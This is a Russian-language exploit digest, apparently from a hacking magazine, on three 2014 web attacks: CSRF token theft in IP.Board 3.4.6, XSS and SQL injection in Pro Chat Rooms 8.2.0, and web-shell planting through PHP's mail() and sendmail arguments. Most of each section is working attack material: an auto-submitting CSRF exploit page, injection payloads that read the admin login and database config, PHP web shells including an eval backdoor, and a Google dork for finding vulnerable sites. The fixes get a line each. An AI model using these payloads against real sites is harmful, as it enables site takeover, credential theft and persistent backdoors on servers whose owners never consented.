Сегодняшний наш обзор будет посвящен в основном веб-уязвимостям в популярных продуктах. Также рассмотрим пример атаки на различные приложения, подобную которой когда-то успешно провели на известный PHP-фреймворк Zend Framework.

 

CSRF-уязвимость в IP.Board 3.4.6

CVSSv2

N/A

BRIEF

Дата релиза: 3 сентября 2014 года

Автор: Piotr S (@evil_xorb)

CVE: N/A

В последних версиях форумного движка IPB содержится уязвимость, позволяющая атакующему украсть CSRF-токен пользователя и выполнять действия от его имени. Ошибка содержится в модуле, который предоставляет пользователю возможность делиться форумными ссылками. Как и всегда, она происходит из-за недостаточной проверки данных, вводимых пользователем. Идентификатор пользователя (токен) передается через GET-параметр в запросе, и если пользователь будет при этом перенаправлен на другой сайт, то сможет передать его атакующему.

Рассмотрим реальный механизм. Пользователь передает ссылку на официальном форуме:

http://community.invisionpower.com/index.php?sharelink=print;aHR0cDovL2NvbW11bml0eS5pbnZpc2lvbnBvd2VyLmNvbS9mb3J1bS5waHA/aWQ9MjMzNQ==

Как ты уже заметил, это Base64-кодировка. Внутри хранится адрес:

http://community.invisionpower.com/forum.php?id=2334

В этом случае пользователь будет без проблем перенаправлен на страницу в этом же форуме. Но из-за ошибки в сравнении строк атакующему достаточно на своем сайте создать поддомен, содержащий уязвимый домен. То есть

http://community.invisionpower.com.your_domain.pl

Далее, если пользователю передать ссылку с нашим доменом, наш скрипт получит следующие данные:

Location: http://community.invisionpower.com.xorb.pl/exploit.html?forcePrint=1&_k=161cc4d2d5503fdb483979f9c164b4d3

В $_GET параметре _k как раз и передается наш вожделенный токен пользователя. Теперь можно выполнять любые действия от его имени. Рассмотрим одно из действий на примере.

EXPLOIT

Создаем у себя на сайте поддомен вида:

http://forum.victim_site.com.your_domain.pl

Далее по этому адресу создаем файл exploit.html со следующим содержимым:

<html>
    <head>
        <script>
            onload = function ipboard(){var token = window.location.hash.split('=')[2];document.getElementById('tokens').value=token;};function fo(){document.ipboards.submit();}; setTimeout("fo()",1500);
        </script>
    </head>
    <body>
    <form action="http://forum.victim_site.com/index.php?" method="POST" id="ipboards" name="ipboards" enctype="multipart/form-data">
      <input type="hidden" name="TopicTitle" value="hacked!" />
      <input type="hidden" name="isRte" value="0" />
      <input type="hidden" name="noSmilies" value="0" />
      <input type="hidden" name="Post" value="IPboard 3.x 0day" />
      <input type="hidden" name="ipsTags" value="
" />
      <input type="hidden" name="enableemo" value="yes" />
      <input type="hidden" name="enablesig" value="yes" />
      <input type="hidden" name="st" value="0" />
      <input type="hidden" name="app" value="forums" />
      <input type="hidden" name="module" value="post" />
      <input type="hidden" name="section" value="post" />
      <input type="hidden" name="do" value="new_post_do" />
      <input type="hidden" name="s" value="x" />
      <input type="hidden" name="p" value="0" />
      <input type="hidden" name="t" value="
" />
      <input type="hidden" name="f" value="2" />
      <input type="hidden" name="parent_id" value="0" />
      <input type="hidden" name="attach_post_key" value="x" />
      <input type="hidden" id="tokens" name="auth_key" value="7xxx3e9" />
      <input type="hidden" name="removeattachid" value="0" />
      <input type="hidden" name="dosubmit" value="Post New Topic" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
<h1><b>IP Board 3.X PoC<br/>wait... ;)</b></h1>
    </body>
</html>

Теперь нужно сделать ссылку, которая будет указывать на наш сайт:

http://community.invisionpower.com/index.php?sharelink=print;aHR0cDovL2ZvcnVtLnZpY3RpbV9zaXRlLmNvbS55b3VyX2RvbWFpbi5jb20vZXhwbG9pdC5odG1sIw==

То есть в Base64-коде после ...print; будет такая ссылка:

http://forum.victim_site.com.your_domain.com/exploit.html#

Этот скрипт перенаправляет пользователя обратно на форум и создает новую тему от его лица.

Созданная с помощью вытащенного токена тема на форуме IP.Board

Можешь посмотреть видео по эксплуатации этой уязвимости от автора.

TARGETS

IP.Board 3.x–3.4.6.

SOLUTION

Есть исправление от производителя.

 

Множественные уязвимости в Pro Chat Rooms 8.2.0

CVSSv2

N/A

BRIEF

Дата релиза: 5 августа 2014 года

Автор: Mike Manzotti

CVE: N/A

Автор нашел серию различных уязвимостей в продуктах Text Chat Room и Audio/Video Chat Room (v8.2.0) от компании Prochatrooms.com. Софт написан с использованием языка PHP и технологии Ajax и позволяет на своем сайте иметь многопользовательские чаты для общения между пользователями. Поддерживает систему управлениям участниками чата (модераторы, администраторы), историю и некоторые команды из IRC. Но перейдем к самим уязвимостям.

EXPLOIT

  1. Начнем с первой — хранимой XSS. После того как пользователь зарегистрировался в системе, он может загрузить изображение для своего профиля, содержащее произвольный JavaScript-код. Информация об отправленном изображении:
POST: http://<WEBSITE>/prochatrooms/profiles/index.php?id=1 
Content-Disposition: form-data; name="uploadedfile"; filename="nopic333_Obzoraksploitov.jpg"
Content-Type: image/jpeg
<script>alert(document.cookie)</script>

После загрузки файла пользователь получает 32-символьное значение внутри HTML-тега imgID:

<input type="hidden" name="imgID" value="798ae9b06cd900b95ed5a60e02419d4b">

Само же изображение хранится в директории /profiles/uploads, и можно обратиться к нему напрямую:

http://<WEBSITE>/prochatrooms/profiles/uploads/798ae9b06cd900b95ed5a60e02419d4b 
  1. Отраженная XSS. Параметр edit при редактировании профиля не обрабатывается:
http://<WEBSITE>/prochatrooms/profiles/index.php?id=1&edit="><script>alert(document.cookie)</script>
  1. SQL-инъекция. Как пишет автор, после исследования исходников он нашел только три параметра с недостаточной проверкой и уязвимых к инъекции в файле /includes/functions.php.
...
$params = array(
'password' => md5($password),
'email' => makeSafe($email),
'id' => $id
);
$query = "UPDATE prochatrooms_users 
              SET email = '".$email."', 
                    password='".md5($password)."' 
              WHERE id = '".$id."'
              ";
...
$query = "UPDATE prochatrooms_users 
              SET email = '".$email."'
              WHERE id = '".$id."'
              ";        
...
$query = "UPDATE prochatrooms_users 
              SET active = '".$offlineTime."', online = '0' 
              WHERE username = '".makeSafe($toname)."'
              ";

Заметь, что защита от атак все-таки есть. Для этого используется функция makeSafe. Внутри же находится стандартная функция htmlspecialchars():

...
function makeSafe($data)
{
      $data = htmlspecialchars($data);
      return $data;
}
... 

После регистрации аккаунта атакующий может проэксплуатировать SQL-инъекцию, отредактировав поле email, и получить, например, MD5-хеш от пароля администратора.

POST  http://<WEBSITE>/prochatrooms/profiles/index.php?id=1 
Content-Disposition: form-data; name="profileEmail"
mm () 1dn eu', email=(select adminLogin from prochatrooms_config) where id ='1';#

Помимо этого, инъекция позволяет читать файлы. Для примера загрузим данные о подключении к базе данных:

POST http://<WEBSITE>/prochatrooms/profiles/index.php?id=1 
Content-Disposition: form-data; name="profileEmail"
mm () 1dn eu', email=(select load_file('/var/www/prochatrooms/includes/db.php')) where id ='1';#
  1. Ну и последняя на сегодня уязвимость — произвольная загрузка файлов. Если объединить уязвимости — хранимую XSS и SQL-инъекцию, то мы можем загрузить веб-шелл на сервер. Для начала загрузим изображение со следующим кодом:
POST:  http://<WEBSITE>/prochatrooms/profiles/index.php?id=1 
Content-Disposition: form-data; name="uploadedfile"; filename="m_Obzoraksploitov.jpg"
Content-Type: application/octet-stream
<?php system($_GET[cmd]);?>

В ответ получим хеш, по которому можно обратиться к загруженному файлу:

<input type="hidden" name="imgID" value="82d0635538da4eac42da25f8f95f8c45">

Теперь воспользуемся инъекцией и создадим файл с нужным нам расширением:

POST  http://<WEBSITE>/prochatrooms/profiles/index.php?id=1 
Content-Disposition: form-data; name="profileEmail"
mm () 1dn eu' where id ='1'; SELECT 
load_file('/var/www/prochatrooms/profiles/uploads/82d0635538da4eac42da25f8f95f8c45') INTO OUTFILE 
'/var/www/prochatrooms/profiles/uploads/s.php';#

Проверяем работу шелла, обратившись к http://<WEBSITE>/prochatrooms/profiles/uploads/s.php?cmd=id:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Дорк для поисковой системы Google, чтобы найти сайты, использующие это приложение:

intitle:"Powered by Pro Chat Rooms"

TARGETS

Pro Chat Rooms 8.2.0.

SOLUTION

Есть исправление от производителя.

 

Выполнение произвольного кода через PHP-функцию mail()

CVSSv2

N/A

BRIEF

Дата релиза: 8 июля 2014 года

Автор: geoffrey

CVE: N/A

И в конце разберем не совсем уязвимость, а скорее вид атаки на веб-приложения, предложенной автором сайта. Реализовать его можно в некоторых случаях. Рассмотрим работу PHP-функции mail().

На вход подается до пяти параметров. Обязательные:

  1. To.
  1. Subject.
  1. Message.

Дополнительные:

  1. Headers (Optional).
  1. Parameters (Optional).

Все кажется нормальным на первый взгляд. Интерес здесь представляет второй дополнительный параметр. В документации по PHP расписано, что этот параметр можно использовать для добавления различных аргументов командной строки при отправке писем через sendmail, которые не были определены в файле с настройками. Также этот параметр по умолчанию выключен при запуске PHP в безопасном режиме начиная с версии 4.2.3.

Но рассмотрим теперь документацию к sendmail. Интерес для нас представляют следующие параметры:

  • -O option=value

Устанавливает значение для опции option. Такая форма использует длинные имена.

  • -Cfile

Использовать альтернативный файл с настройками. Sendmail выдает нужные права (set-user-ID or set-group-ID), если того требует новый файл.

  • -X logfile

Логирует весь входящий и исходящий почтовый трафик в указанный файл.

И еще интересная опция:

  • QueueDirectory=queuedir

Назначить директорию с очередью сообщений.

Стандартный пример работы с этой функцией:

$to = 'a@b.com';
$subject = 's';
$message = 'm';
$headers = '';
$options = '-arg val';
mail($to, $subject, $message, $headers, $options);

Для более наглядного примера работы рассмотрим вызов этой функции в gdb. Для начала будем запускать бинарник php с нужными нам параметрами:

(gdb) file php
Reading symbols from /opt/php-5.3.0/sapi/cli/php...done.
(gdb) set args -r 'mail("a@b.com", "s", "m", "", "-arg val");'

Ставим точку останова и запускаем:

(gdb) b mail.c:291
Breakpoint 1 at 0x83f39b2: file /opt/php-5.3.0/ext/standard/mail.c, line 291.
(gdb) r
Starting program: /opt/php-5.3.0/sapi/cli/php -r 'mail("a@b.com", "s", "m", "", "-arg val");'
[Thread debugging using libthread_db enabled]
Breakpoint 1, php_mail (to=0x8b5c2b8 "a@b.com", subject=0x8b5c2ec "s", message=0x8b5be2c "m", headers=0x8b5be9c "", extra_cmd=0x8b5c31c "-arg val")
   at /opt/php-5.3.0/ext/standard/mail.c:291
291        sendmail = popen(sendmail_cmd, "w");

Выводим значения нужных нам переменных:

(gdb) p sendmail_path
$1 = 0x89af284 "/usr/sbin/sendmail -t -i "
(gdb) p sendmail_cmd
$2 = 0x8b5c35c "/usr/sbin/sendmail -t -i  -arg val"

Очень хочется вместо -arg val указать какую-нибудь команду типа ;ls -al или еще что-то подобное, но от такого установлена защита. Поэтому вместо прямых команд будем использовать рассмотренные выше аргументы.

EXPLOIT

Теперь загрузим минимальный шелл на сервер:

$to = 'a@b.c';
$subject = '<?php system($_GET["cmd"]); ?>';
$message = '';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';

При открытии файла http://localhost/rce.php в браузере получим следующее содержание:

11226 <<< To: a@b.c
11226 <<< Subject: 11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php
11226 <<<

Но при проверке на самом сервере видим, что строка с шеллом есть, а значит, код исполняется:

> cat rce.php
11226 <<< To: a@b.c
11226 <<< Subject: <?php system($_GET["cmd"]); ?>
11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php
11226 <<<

Проверим работу http://localhost/rce.php?cmd=ls%20-la:

11226 <<< To: a@b.c
11226 <<< Subject: total 20
drwxrwxrwx 2 *** *** 4096 Sep 3 01:25 .
drwxr-xr-x 4 *** www-data 4096 Sep 2 23:53 ..
-rw-r--r-- 1 *** *** 92 Sep 3 01:12 config.php
-rwxrwxrwx 1 *** *** 206 Sep 3 01:25 mailexploit.php
-rw-r--r-- 1 www-data www-data 176 Sep 3 01:27 rce.php
11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php
11226 <<<
11226 <<<
11226 <<<
11226 <<< [EOF]

Или рассмотрим пример чтения файлов на сервере. Для этого воспользуемся аргументом -C:

$options = '-C/var/www/html/config.php -OQueueDirectory=/tmp -X/var/www/html/evil.php';
mail($to, $subject, $message, $headers, $options);

Получаем файл evil.php со следующим содержимым:

11124 >>> /var/www/html/config.php: line 1: unknown configuration line "<?php"
11124 >>> /var/www/html/config.php: line 3: unknown configuration line "dbuser = 'someuser';"
11124 >>> /var/www/html/config.php: line 4: unknown configuration line "dbpass = 'somepass';"
11124 >>> /var/www/html/config.php: line 5: unknown configuration line "dbhost = 'localhost';"
11124 >>> /var/www/html/config.php: line 6: unknown configuration line "dbname = 'mydb';"
11124 >>> No local mailer defined

Есть правда одно «но»: мало кто даст пользователю контроль над всеми параметрами при отправке писем. Поэтому автор предложил несколько реальных сценариев:

  1. Панель администратора

Хостеры обычно выдают доступ к этой функции владельцам Shared без проблем, и есть возможность прочитать файлы других пользователей — соседей этого хостинга. Или же как дополнительный вариант — чтобы закрепиться на сервере, оставив лазейку такого вида.

  1. Почтовый сервис

В некоторых случаях хостеры или сайты предоставляют функционал отправки писем. И если пользователю позволяется указать отправителя через аргумент -f, то также можно провести атаку:

-f\'${PHPFROM}\' -OQueueDirectory=/tmp -X /var/www/uploads/back.php

где PHPFROM:

"<?if(isset(\$_SERVER[HTTP_SHELL]))eval(\$_SERVER[HTTP_SHELL]);/*@*/?>"

Подобные «почтовые» сервисы особенно часто встречаются в виде скриптов для рассылки спама, поэтому такой вектор атаки ты можешь встретить до сих пор.

TARGETS

Проверить веб-приложение можно следующим регулярным выражением:

grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

Также подобная уязвимость была найдена в популярном PHP-фреймворке Zend, правда, довольно давно, в конце 2011 года.

SOLUTION

Желательно не использовать все пять параметров при вызове функции mail() или добавить качественную проверку.

Комментарии

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

Конкурс хаков: пишем на PowerShell скрипт, который уведомляет о днях рождения пользователей Active Directory

В компаниях часто встречается задача уведомлять сотрудников о приближающихся днях рождения…